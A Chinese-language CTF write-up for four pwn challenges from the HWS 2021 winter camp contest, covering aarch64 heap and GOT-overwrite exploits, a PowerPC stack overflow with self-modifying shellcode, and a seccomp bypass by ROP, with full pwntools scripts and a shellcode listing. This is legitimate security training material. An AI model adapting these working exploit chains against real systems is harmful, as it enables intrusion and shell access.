HWS 2021 冬令营选拔赛 部分WP

比完后速度开肝WP


在这里插入图片描述

总分: 850 排名: 33


第一次这么长(shuang)时间肝比赛

3整天+1晚(理论上来说还有一早但我没用)

不得不说还是挺有意思的


PWN2 ememarm

aarch64架构

上网搜到了环境配置:

socat tcp-l:$port,fork exec:"$command",reuseaddr

譬如:

socat tcp-l:10002,fork exec:"qemu-aarch64 -g 1234 ememarm",reuseaddr

这样pwntools访问localhost:10002, gdb remote localhost:1234即可调试

当然在之前还要:

  1. 要有qemu-aarch64patchelf
  2. 配置/lib/ld-linux-aarch64.so.1
    ln -s `pwd`/ld-linux-aarch64.so.1 /lib/ld-linux-aarch64.so.1
    
  3. 修改libc
    patchelf --replace-needed libc.so.6 `pwd`/libc.so.6 $elf
    

这个方法同样适用于PWN1 emarm和IOT3 PPPPPPC以及所有与你本机架构不同的普通PWN题 (一般来说就是非Intel架构,除非你家是arm之类)

然后便可以看libc版本:

$ ./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

2.27,有tcache

别忘了查看保护:

$ checksec ememarm
[*] '$PWD/ememarm'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

再看程序逻辑:

int __cdecl main(int argc, const char **argv, const char **envp)
{
	int choice; // [xsp+1Ch] [xbp+1Ch]
	int var; // [xsp+20h] [xbp+20h]
	int count; // [xsp+24h] [xbp+24h]
	void *v7; // [xsp+28h] [xbp+28h]
	struc_1 *head; // [xsp+30h] [xbp+30h]
	struc_1 *a2; // [xsp+38h] [xbp+38h]
	struc_1 *ptr; // [xsp+40h] [xbp+40h]

	buf_init();
	count = 0;
	v7 = &unk_412070;
	printf("hello every one welcom my note  ~~%lld\n", &unk_412070);
	head = (struc_1 *)malloc(0x20uLL);
	read(0LL, head, 24LL);
	while ( 1 )
	{
		while ( 1 )
		{
			while ( 1 )
			{
				while ( 1 )
				{
					menu();
					scanf("%d", &choice);
					if ( choice != 1 )
						break;
					ptr = request();
					puts("do you want delete?");
					scanf("%d", &var);
					if ( var == 1 )
						add(head, ptr);
				}
				if ( choice != 2 || count > 10 )
					break;
				scanf("%d", &var);
				noprint(head, var);
				++count;
			}
			if ( choice != 3 || count > 10 )
				break;
			scanf("%d", &var);
			edit(head, var);
			++count;
		}
		if ( choice != 4 )
			break;
		a2 = request_big();
		puts("do you want delete?");
		scanf("%d", &var);
		if ( var == 1 )
			add(head, a2);
	}
	puts("bye bye bye!!\n");
	free(head);
	return 0;
}

常规菜单式堆题

应该能看出中间有结构体:

struc_1         struc ; (sizeof=0x20, mappedto_30)
x               DCQ ?
y               DCQ ?
field_10        DCQ ?
next            DCQ ?
struc_1         ends

并且用next指针组成一个单向链表:

void __fastcall add(struc_1 *head, struc_1 *ptr)
{
	struc_1 *i; // [xsp+8h] [xbp-8h]

	for ( i = head; i->next; i = i->next )
		;
	i->next = ptr;
}

但注意print功能是假的:

__int64 __fastcall noprint(struc_1 *head, int pos)
{
	int v3; // [xsp+14h] [xbp+14h]
	struc_1 *v4; // [xsp+28h] [xbp+28h]

	v3 = pos;
	v4 = head->next;
	if ( pos <= 0 )
		puts("incrrect position to node");
	if ( !v4 )
		puts("the link empty");
	while ( --v3 )
	{
		v4 = v4->next;
		if ( !v4 )
		{
			puts("can't print it");
			return puts("hahah i can't give you");
		}
	}
	return puts("hahah i can't give you");
}

漏洞点是edit功能中有一个null off by one:

void __fastcall edit(struc_1 *head, int pos)
{
	int i; // [xsp+14h] [xbp+14h]
	struc_1 *ptr; // [xsp+20h] [xbp+20h]

	i = pos;
	ptr = head->next;
	if ( head->x )
	{
		if ( pos >= 0 )
		{
			if ( !ptr )
				puts("Link is empty");
			while ( --i )
			{
				ptr = ptr->next;
				if ( !ptr )
				{
					printf("no can't find it");
					break;
				}
			}
			if ( (unsigned int)read(0LL, ptr, 24LL) == 24 )
				LOBYTE(ptr->next) = 0;                  // dan
			free(ptr->next);
			ptr->next = 0LL;
		}
		else
		{
			puts("incrrect position to search node ");
		}
	}
	else
	{
		puts("nonono\n");
		read(0LL, head, 16LL);
	}
}

开一下调试:

Breakpoint *0x400c74
pwndbg> heap
heap: This command only works with libc debug symbols.
They can probably be installed via the package manager of your choice.
See also: https://sourceware.org/gdb/onlinedocs/gdb/Separate-Debug-Files.html
pwndbg> bin
bins: This command only works with libc debug symbols.
They can probably be installed via the package manager of your choice.
See also: https://sourceware.org/gdb/onlinedocs/gdb/Separate-Debug-Files.html
pwndbg> x /gx $sp+0x30
0x40007ffdd0:	0x0000000000413260
pwndbg> x /32gx 0x413250
0x413250:	0x0000000000000000	0x0000000000000031
0x413260:	0x000000000a333231	0x0000000000000000
0x413270:	0x0000000000000000	0x0000000000000000
0x413280:	0x0000000000000000	0x0000000000020d81
0x413290:	0x0000000000000000	0x0000000000000000
0x4132a0:	0x0000000000000000	0x0000000000000000
0x4132b0:	0x0000000000000000	0x0000000000000000
0x4132c0:	0x0000000000000000	0x0000000000000000
0x4132d0:	0x0000000000000000	0x0000000000000000
0x4132e0:	0x0000000000000000	0x0000000000000000
0x4132f0:	0x0000000000000000	0x0000000000000000
0x413300:	0x0000000000000000	0x0000000000000000
0x413310:	0x0000000000000000	0x0000000000000000
0x413320:	0x0000000000000000	0x0000000000000000
0x413330:	0x0000000000000000	0x0000000000000000
0x413340:	0x0000000000000000	0x0000000000000000

还有,本地和靶机用的都是qemu,默认是不开ASLR的,所以这里的地址是可以直接用的

而且因为给的libc没有debug信息,所以pwndbg的heap和bin都是用不了的

那么利用null off by one,我们可以执行free(0x413300),所以我们想在0x4132f0处伪造堆块
大抵像这样:

pwndbg> x /40gx 0x413250
0x413250:	0x0000000000000000	0x0000000000000031
0x413260:	0x000000000000000a	0x0000000000000000
0x413270:	0x0000000000000000	0x00000000004132f0
0x413280:	0x0000000000000000	0x0000000000000031
0x413290:	0x0000000000000031	0x0000000000000031
0x4132a0:	0x0000000000000000	0x0000000000000000
0x4132b0:	0x0000000000000000	0x0000000000000031
0x4132c0:	0x0000000000000031	0x0000000000000031
0x4132d0:	0x0000000000000000	0x0000000000000000
0x4132e0:	0x0000000000000000	0x0000000000000041
0x4132f0:	0x0000000000000000	0x0000000000000031 <- 注意这里伪造了堆块
0x413300:	0x0000000000000000	0x0000000000413330
0x413310:	0x0000000000000000	0x0000000000000000
0x413320:	0x0000000000000000	0x0000000000000041
0x413330:	0x0000000000000032	0x0000000000000032
0x413340:	0x0000000000000000	0x0000000000000000
0x413350:	0x0000000000000000	0x0000000000000000
0x413360:	0x0000000000000000	0x0000000000020ca1
0x413370:	0x0000000000000000	0x0000000000000000
0x413380:	0x0000000000000000	0x0000000000000000

edit off by one, free(0x413300)

然而bin用不了,并看不出什么变化

再edit,修改tcache链表指针:

pwndbg> x /40gx 0x413250
0x413250:	0x0000000000000000	0x0000000000000031
0x413260:	0x000000000000000a	0x0000000000000000
0x413270:	0x0000000000000000	0x00000000004132f0
0x413280:	0x0000000000000000	0x0000000000000031
0x413290:	0x0000000000000031	0x0000000000000031
0x4132a0:	0x0000000000000000	0x0000000000000000
0x4132b0:	0x0000000000000000	0x0000000000000031
0x4132c0:	0x0000000000000031	0x0000000000000031
0x4132d0:	0x0000000000000000	0x0000000000000000
0x4132e0:	0x0000000000000000	0x0000000000000041
0x4132f0:	0x0000000000000000	0x0000000000000031
0x413300:	0x0000000000412030	0x0000000000000000 <- 注意修改的指针
0x413310:	0x0000000000000000	0x0000000000000000
0x413320:	0x0000000000000000	0x0000000000000041
0x413330:	0x0000000000000032	0x0000000000000032
0x413340:	0x0000000000000000	0x0000000000000000
0x413350:	0x0000000000000000	0x0000000000000000
0x413360:	0x0000000000000000	0x0000000000020ca1
0x413370:	0x0000000000000000	0x0000000000000000
0x413380:	0x0000000000000000	0x0000000000000000
pwndbg> x /2gx 0x412030
0x412030 <puts@got.plt>:	0x0000004000893f40	0x00000040008a7790

连续malloc(0x20)两次:

pwndbg> x /40gx 0x413250
0x413250:	0x0000000000000000	0x0000000000000031
0x413260:	0x000000000000000a	0x0000000000000000
0x413270:	0x0000000000000000	0x00000000004132f0
0x413280:	0x0000000000000000	0x0000000000000031
0x413290:	0x0000000000000031	0x0000000000000031
0x4132a0:	0x0000000000000000	0x0000000000000000
0x4132b0:	0x0000000000000000	0x0000000000000031
0x4132c0:	0x0000000000000031	0x0000000000000031
0x4132d0:	0x0000000000000000	0x0000000000000000
0x4132e0:	0x0000000000000000	0x0000000000000041
0x4132f0:	0x0000000000000000	0x0000000000000031
0x413300:	0x0068732f6e69622f	0x0000000000412030
0x413310:	0x0000000000000000	0x0000000000000000
0x413320:	0x0000000000000000	0x0000000000000041
0x413330:	0x0000000000000032	0x0000000000000032
0x413340:	0x0000000000000000	0x0000000000000000
0x413350:	0x0000000000000000	0x0000000000000000
0x413360:	0x0000000000000000	0x0000000000020ca1
0x413370:	0x0000000000000000	0x0000000000000000
0x413380:	0x0000000000000000	0x0000000000000000
pwndbg> x /2gx 0x412030
0x412030 <puts@got.plt>:	0x0000004000893f40	0x0000000000400740 <- 注意free的got表被修改了

再edit触发free,实际调用puts,得到puts地址

泄露Exp:

from pwn import *
from LibcTool import *
context(os='linux', arch='aarch64')
elf = ELF('./ememarm')
# sh = remote('183.129.189.60', 10034)
# sh = process('./run.sh')
sh = remote('127.0.0.1', 10002)
libc = ELF('./libc.so.6')
# attach(sh)
# raw_input()


def request(x, y, add):
    sh.sendlineafter('choice:', '1')
    sh.sendafter('cx:', x)
    sh.sendafter('cy:', y)
    sh.sendlineafter('delete?', str(add))


def request_big(x, y, add):
    sh.sendlineafter('choice:', '4')
    sh.sendafter('cx:', x)
    sh.sendafter('cy:', y)
    sh.sendlineafter('delete?', str(add))


def edit(pos, content):
    sh.sendlineafter('choice: \n', '3')
    sleep(1)
    sh.sendline(str(pos))
    sleep(1)
    sh.send(content)


sh.sendlineafter('4268144', '')
request('1', '1', 0)
request('1', '1', 0)
request_big('2', '2', 1)
request_big('2', '2', 1)
edit(1, flat(0, 0x31, 0))
edit(1, flat(0, 0x31, elf.got['free']-8))
request('/bin/sh', p64(0), 0)
# request('/bin/sh', p64(0), 1)
request(p8(libc.sym['puts'] % 0x100), p64(elf.plt['puts']), 1)
# request(p8(libc.sym['puts'] % 0x100), p64(0x400086f2c8), 0)
# request_big(p64(elf.got['printf'], '4', 1))
edit(1, '\0')
puts_addr=u64(sh.recvuntil('\n1. ')[:-4].ljust(8,'\0'))+0x4000000000
libc_base=puts_addr-libc.sym['puts']
log.info('system='+hex(libc_base+libc.sym['system'])) # 0x400086f2c8

sh.interactive()
sh.close()

因为实际地址中第四字节是0x00,所以前面的0x40输出不出来,需要手动加上

多跑几遍,发现地址一直不变,我们就能断定它没开ASLR,并得到system的地址为0x400086f2c8

get shell Exp:

from pwn import *
from LibcTool import *
context(os='linux', arch='aarch64')
elf = ELF('./ememarm')
# sh = remote('183.129.189.60', 10034)
# sh = process('./run.sh')
sh = remote('127.0.0.1', 10002)
libc = ELF('./libc.so.6')
# attach(sh)
# raw_input()


def request(x, y, add):
    sh.sendlineafter('choice:', '1')
    sh.sendafter('cx:', x)
    sh.sendafter('cy:', y)
    sh.sendlineafter('delete?', str(add))


def request_big(x, y, add):
    sh.sendlineafter('choice:', '4')
    sh.sendafter('cx:', x)
    sh.sendafter('cy:', y)
    sh.sendlineafter('delete?', str(add))


def edit(pos, content):
    sh.sendlineafter('choice: \n', '3')
    sleep(1)
    sh.sendline(str(pos))
    sleep(1)
    sh.send(content)


sh.sendlineafter('4268144', '')
request('1', '1', 0)
request('1', '1', 0)
request_big('2', '2', 1)
request_big('2', '2', 1)
edit(1, flat(0, 0x31, 0))
edit(1, flat(0, 0x31, elf.got['free']-8))
# request('/bin/sh', p64(0), 0)
request('/bin/sh', p64(0), 1)
# request(p8(libc.sym['puts'] % 0x100), p64(elf.plt['puts']), 1)
request(p8(libc.sym['puts'] % 0x100), p64(0x400086f2c8), 0)
# request_big(p64(elf.got['printf'], '4', 1))
edit(1, '\0')
# puts_addr = u64(sh.recvuntil('\n1. ')[:-4].ljust(8, '\0'))+0x4000000000
# libc_base = puts_addr-libc.sym['puts']
# log.info('system='+hex(libc_base+libc.sym['system']))  # 0x400086f2c8

sh.interactive()
sh.close()

同理的,不再赘述


PWN1 emarm

$ checksec emarm
[*] '$PWD/emarm'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
	__int64 frand; // ST30_8
	int pwlen; // ST18_4
	void *v6; // ST40_8
	signed int v7; // [xsp+20h] [xbp+20h]
	int v8; // [xsp+2Ch] [xbp+2Ch]
	__int64 fbye; // [xsp+38h] [xbp+38h]
	char v10[4]; // [xsp+48h] [xbp+48h]
	char v11[4]; // [xsp+50h] [xbp+50h]
	char unk[8]; // [xsp+58h] [xbp+58h]
	char passwd[8]; // [xsp+60h] [xbp+60h]
	char buf[8]; // [xsp+68h] [xbp+68h]

	setbuf(stdin, 0LL);
	setbuf(stdout, 0LL);
	frand = fopen("/dev/urandom", "r");
	fbye = fopen("bye", "r");
	fread(unk, 8LL, 1LL, frand);
	fclose(frand);
	say_hi();
	puts("passwd:");
	__isoc99_scanf("%8s", passwd);
	pwlen = strlen(passwd);
	if ( !(unsigned int)strncmp(unk, passwd, pwlen) )
	{
		read(0, buf, 8uLL);
		v7 = strlen(buf);
		if ( v7 > 7 )
			return 0;
		v6 = (void *)atoi(buf);
		printf("you will success");
		if ( (signed int)read(0, v6, 8uLL) < 0 )
			return 0;
		puts("i leave for you bye");
		read(0, v10, 4uLL);
		if ( v7 < 0 )
			return 0;
		v8 = atoi(v10);
		if ( v8 > 4 || v8 < 0 )
			return 0;
		fread(v11, v8, 1LL, fbye);
		puts(v11);
		fclose(fbye);
	}
	return 0;
}
  1. 虽然大家都知道strncmp是什么,但还是建议大家看一下reference
    摘自cppreference:

    返回值
    若字典序中 lhs 先出现于 rhs 则为负值。
    若 lhs 与 rhs 比较相等,或若 count 为零,则为零。
    若字典序中 lhs 后出现于 rhs 则为正值。

    所以passwd给'\0'就行,就不需要进行 1 256 \frac1{256} 2561的爆破了

  2. read(0, buf, 8uLL);
    v7 = strlen(buf);
    if ( v7 > 7 )
        return 0;
    v6 = (void *)atoi(buf);
    printf("you will success");
    if ( (signed int)read(0, v6, 8uLL) < 0 )
        return 0;
    

    这是个比较明显的任意地址写(当然是0xffffffff以下的地址)

  3. 别想些乱七八糟的东西,bye文件中就是一个简单的bye~

思路当然是改got表,但是怎么leak呢?
因为我们很难将参数直接改为got表地址,所以我采用printf来进行leak
但你简单调试一下就会发现,可控制的参数偏移已经大于10了。如果我们这样调用:

printf("%17$s");

会发现要写5个字符!而任意地址写之后的read却只读入4个字符:

read(0, v10, 4uLL);
if ( v7 < 0 )
	return 0;
v8 = atoi(v10);

所以我们得用之前的read,能读8个字节

  1. 修改fread的got表为0x400be4,开始循环
  2. 修改strlen的got表为printf的plt地址,并且在v10中写fopen的got表地址
  3. 调试确定参数偏移为17, send "%17$s",就会执行 printf("%17$s"),并且该参数为fopen的got地址,自然会泄露fopen的地址为0x4000892448

leak exploit:

from pwn import *
from LibcTool import *
context(os='linux', arch='aarch64', log_level='debug')
elf = ELF('./emarm')
libc = ELF('./libc.so.6')
sh = remote('183.129.189.60', 10012)
# sh = remote('127.0.0.1', 10002)
# sh = process('./')
# attach(sh)
# raw_input()

bss = 0x412090
fini = 0x411dd8

fopen = 0x4000892448
libc_base = fopen-libc.sym['fopen']
system = libc_base+libc.sym['system']

sh.sendlineafter('passwd:', '\0')
sleep(1)
sh.send(str(elf.got['fread']))
sh.sendafter('you will success', p64(0x400be4))
sh.sendafter('bye', '1')
sleep(1)
sh.send(str(elf.got['strlen']))
sh.sendafter('you will success', p64(elf.plt['printf']))
# sh.sendafter('you will success', p64(system))
sh.sendafter('bye', p32(elf.got['fopen']))
sleep(1)
sh.send('%17$s\0')
# sh.send('sh\0')

log.info('system='+hex(system))

sh.interactive()
sh.close()

然后这次又双叒叕没有开ASLR,意味着libc地址又不变
简单改一下就是getshell exploit:

from pwn import *
from LibcTool import *
context(os='linux', arch='aarch64', log_level='debug')
elf = ELF('./emarm')
libc = ELF('./libc.so.6')
sh = remote('183.129.189.60', 10012)
# sh = remote('127.0.0.1', 10002)
# sh = process('./')
# attach(sh)
# raw_input()

bss = 0x412090
fini = 0x411dd8

fopen = 0x4000892448
libc_base = fopen-libc.sym['fopen']
system = libc_base+libc.sym['system']

sh.sendlineafter('passwd:', '\0')
sleep(1)
sh.send(str(elf.got['fread']))
sh.sendafter('you will success', p64(0x400be4))
sh.sendafter('bye', '1')
sleep(1)
sh.send(str(elf.got['strlen']))
# sh.sendafter('you will success', p64(elf.plt['printf']))
sh.sendafter('you will success', p64(system))
sh.sendafter('bye', p32(elf.got['fopen']))
sleep(1)
# sh.send('%17$s\0')
sh.send('sh\0')

log.info('system='+hex(system))

sh.interactive()
sh.close()

IoT3 PPPPPPC

其实是一道PowerPCPWN

因为我的IDA Pro v7.0不支持PowerPC的反编译(最新的IDA Pro v7.5不知支不支持,我的用不了),所以我用了Ghidra来反编译

(说实话IDA用久了,Ghidra用着就很不习惯)

Ghidra可以下吾爱破解的版本
如果想从官网下的话,就可能需要国外的地址了(dddd)(懂的都懂)
具体操作方法就请自行Google/百度

$ checksec PPPPPPC
[*] '$PWD/PPPPPPC'
    Arch:     powerpc-32-big
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments

真男人从不需要任何保护

$ file PPPPPPC
PPPPPPC: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=f18cf9beb44494b206b4fbbd94581dc65d30902a, stripped

发现是静态编译的
先执行一下:

$ ./qemu-ppc-static PPPPPPC
Hello, welcome to hws!
Tell me your name: ^C

直接去rodata段找这两个字符串并查看索引:

                             s_Hello,_welcome_to_hws!_100683d4               XREF[1]:     main:10000480(*)  
        100683d4 48 65 6c        ds         "Hello, welcome to hws!"
                 6c 6f 2c 
                 20 77 65 
        100683eb 00              ??         00h
                             s_Tell_me_your_name:_100683ec                   XREF[1]:     main:1000048c(*)  
        100683ec 54 65 6c        ds         "Tell me your name: "
                 6c 20 6d 
                 65 20 79 

再看一下该函数的源码,基本可以确定就是main函数

int main(void)
{
	char acStack312 [308];
	
	buf_init();
	puts("Hello, welcome to hws!");
	printf("Tell me your name: ");
	fgets(acStack312,800,stdin);
	strcpy(CHAR_ARRAY_100b3390,acStack312);
	puts("bye~");
	return 0;
}

当然,以上所有的函数名都是我自己猜的
还是比较依赖对各个C标准库函数的熟练性的

显然存在一个栈溢出

暴力溢出一下,调试确定偏移:

sh.sendlineafter('name:','a'*308+'1234567890qwertyuiopasdfghjklzxcvbnm')

确定偏移为308+8

然后因为没有NX保护,考虑写shellcode

注:从这里开始我的思路开始与标答出现偏差

  • 我的思路:
    shellcode到bss上(它有个strcpy对吧)
    所以我们需要一个不带'\0'shellcode
    但是shellcode避免不开的系统调用语句sc的二进制码是44 00 00 02

    $ python
    Python 2.7.18 (default, Aug  4 2020, 11:16:42) 
    [GCC 9.3.0] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> from pwn import *
    >>> context(os='linux',arch='powerpc')
    >>> print disasm(asm('sc'))
       0:   44 00 00 02     sc
    

    这咋办?
    没事我们来一套骚操作:

    1. 先写44 ff ff 02
    2. 在之前的code中把中间的ff ff改为00 00

    做完后开调试,看到44 ff ff 02被改为44 00 00 02后很开心的输入了c(gdb的继续命令),并成功在本地get shell
    换成远程端后,继续报非法指令(执行44 ff ff 02是会报非法指令的)

    马上想到CPU的流水线
    简单来说就是CPU会预先存储后面的指令进入高速缓存,在把44 ff ff 02改掉之前,其实它已经进入了CPU的高速缓存,所以你在内存里把它改掉了,但在流水线里的并没有改掉,执行44 ff ff 02并报错

    解决方案也很简单,刷新流水线就行了
    bl到一个blr即可

    最终shellcode (中间bl的地址偏移是不通用的):

    >>> print disasm('\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x01\x20\x38\x7f\xff\x08\x7c\x84\x22\x79\xb0\xbf\xff\x05\x4b\xf5\x63\x9d\x88\x1f\xff\x0f\x98\xbf\xff\x0f\x4c\xc6\x33\x42\x44\xff\xff\x02/bin/sh\x0b')
       0:   7c a5 2a 79     xor.    r5, r5, r5 		# r5 = 0
       4:   40 82 ff fd     bnel    0x0
       8:   7f e8 02 a6     mflr    r31
       c:   3b ff 01 20     addi    r31, r31, 288	# 设置r31
      10:   38 7f ff 08     addi    r3, r31, -248	# r3 = "/bin/sh"
      14:   7c 84 22 79     xor.    r4, r4, r4		# r4 = 0
      18:   b0 bf ff 05     sth     r5, -251(r31)	# 把2c处中间的ff ff改为00 00
      1c:   4b f5 63 9d     bl      0xfff563b8		# 先call再ret,刷新流水线	偏移是不通用的
      20:   88 1f ff 0f     lbz     r0, -241(r31)	# 将37处的字节(0xb=11)给r0,即r0=11
      24:   98 bf ff 0f     stb     r5, -241(r31)	# 将37处的字节置0
      28:   4c c6 33 42     crorc   4*cr1+eq, 4*cr1+eq, 4*cr1+eq
      2c:   44 ff ff 02     .long 0x44ffff02 		# 把中间的ff ff清零后就是sc
      30:   2f 62 69 6e     "/bin"
      34:   2f 73 68 0b     "/sh" \x0b				# 后面的`\x0b`在20处将11赋给r0,又在24处被置零
    
  • 标答
    qemu,所以它又双叒叕没有开ASLR
    泄露栈地址后直接执行栈上的shellcode
    就不需要不含'\0'

PWN3 justcode

$ checksec justcode
[*] '$PWD/justcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

看见题目开了seccomp

unsigned __int64 set_seccomp()
{
	unsigned __int64 v0; // ST08_8
	void *ctx; // ST00_8

	v0 = __readfsqword(0x28u);
	ctx = seccomp_init(0x7FFF0000u);              // allow
	seccomp_rule_add(ctx, 0, 59, 0);              // kill execve
	seccomp_load(ctx);
	return __readfsqword(0x28u) ^ v0;
}

只禁用了execve系统调用
考虑open-read-output

code1:

unsigned __int64 leave_name()
{
	char name[136]; // [rsp+0h] [rbp-90h]
	unsigned __int64 canary; // [rsp+88h] [rbp-8h]

	canary = __readfsqword(0x28u);
	puts("name:");
	read(0, name, 0x90uLL);                       // off canary
	dup_name = strdup(name);
	printf("check it : %s\n", dup_name);
	return __readfsqword(0x28u) ^ canary;
}

可以溢出到canary

code2:

unsigned __int64 sub_400CCA()
{
	unsigned int v1; // [rsp+Ch] [rbp-84h]
	char buf[120]; // [rsp+10h] [rbp-80h]
	unsigned __int64 canary; // [rsp+88h] [rbp-8h]

	canary = __readfsqword(0x28u);
	puts("id:");
	__isoc99_scanf("%d", v1);                     // ??
	puts("info:");
	read(0, buf, 0x6CuLL);
	printf("no check");
	return __readfsqword(0x28u) ^ canary;
}

第9行开始迷惑行为
不是当年学C的时候,就提醒过,scanf后面参数要加&吗

int n;
scanf("%d",n);	// wrong
scanf("%d",&n);	// right

现在我们知道,scanf参数实际上传的是指针
也就是说如果我们能控制v1的话,我们就能实现任意地址写

但因为v1没有被赋初值,可以复用之前的栈内容
在code1中输入1234567890qwertyuiopasdfghjklzxcvbnm
调试确定偏移为12(当然也可以根据栈空间静态分析得出)

解决任意地址写后,考虑该写什么
思路肯定倾向写got
但由于我们需要open-read-output,肯定会更倾向rop
再加上有烦人的canary,这里决定写__stack_chk_failgot

因为code1中缓冲区就在rsp处,所以将__stack_chk_failgot表改为pop rdi ; ret(pop8)即可接上缓冲区的rop
常规rop泄露libc,并记得溢出canary以触发__stack_chk_fail

返回到code1,将code2中的v1处写一个bss地址,然后rop先后执行:

  1. code2:用任意地址写向bss写一个"flag"字符串
  2. open(“flag”,0)
  3. read(3,bss,rdx) (调试发现此时rdx确实是一个大值,不然很不好处理,毕竟ROPgadget没找到控制rdx的gadget)
  4. puts(bss)

exploit:

from pwn import *
from LibcTool import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./justcode')
libc = ELF('./libc-2.23.so')
sh = remote('183.129.189.60', 10041)
# sh = process('./justcode')
# attach(sh)
# raw_input()

func = 'atoi'
leave_name = 0x400c47
str_flag = 0x6020d0
bss = 0x6020a0
pop_rdi = 0x400ea3  # pop rdi ; ret
pop_rsi = 0x400ea1  # pop rsi ; pop r15 ; ret

sh.sendlineafter('your code:', '1\n2\n1\n1')
sh.sendlineafter('name:', 'a'*12+p32(elf.got['__stack_chk_fail']))
sh.sendlineafter('id:', str(pop_rdi))
sh.sendlineafter('info:', 'info')
sh.sendafter('name:\n', flat(
    pop_rdi, elf.got[func], elf.plt['puts'], pop_rsi, 0, 0, leave_name, 'a'*(0x90-0x38)))
sh.recvuntil('\n')
func_addr = u64(sh.recvuntil('\nname:')[:-6].ljust(8, '\0'))
log.info('func_addr=' + hex(func_addr))

libc_base = func_addr-libc.sym[func]
open_addr = libc_base+libc.sym['open']
# write_addr = libc_base+libc.sym['write']

sh.send(flat(pop_rdi, str_flag << 32, 0x400cee, pop_rdi, str_flag, pop_rsi, 0, 0,
             open_addr, pop_rdi, 3, pop_rsi, bss, 0, elf.plt['read'], pop_rdi, bss, elf.plt['puts']))
sleep(1)
sh.sendline(str(u32('flag')))
sh.sendafter('info:', '\x25')

sh.interactive()
sh.close()


剩下的WriteUp日更哦,明天见!

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值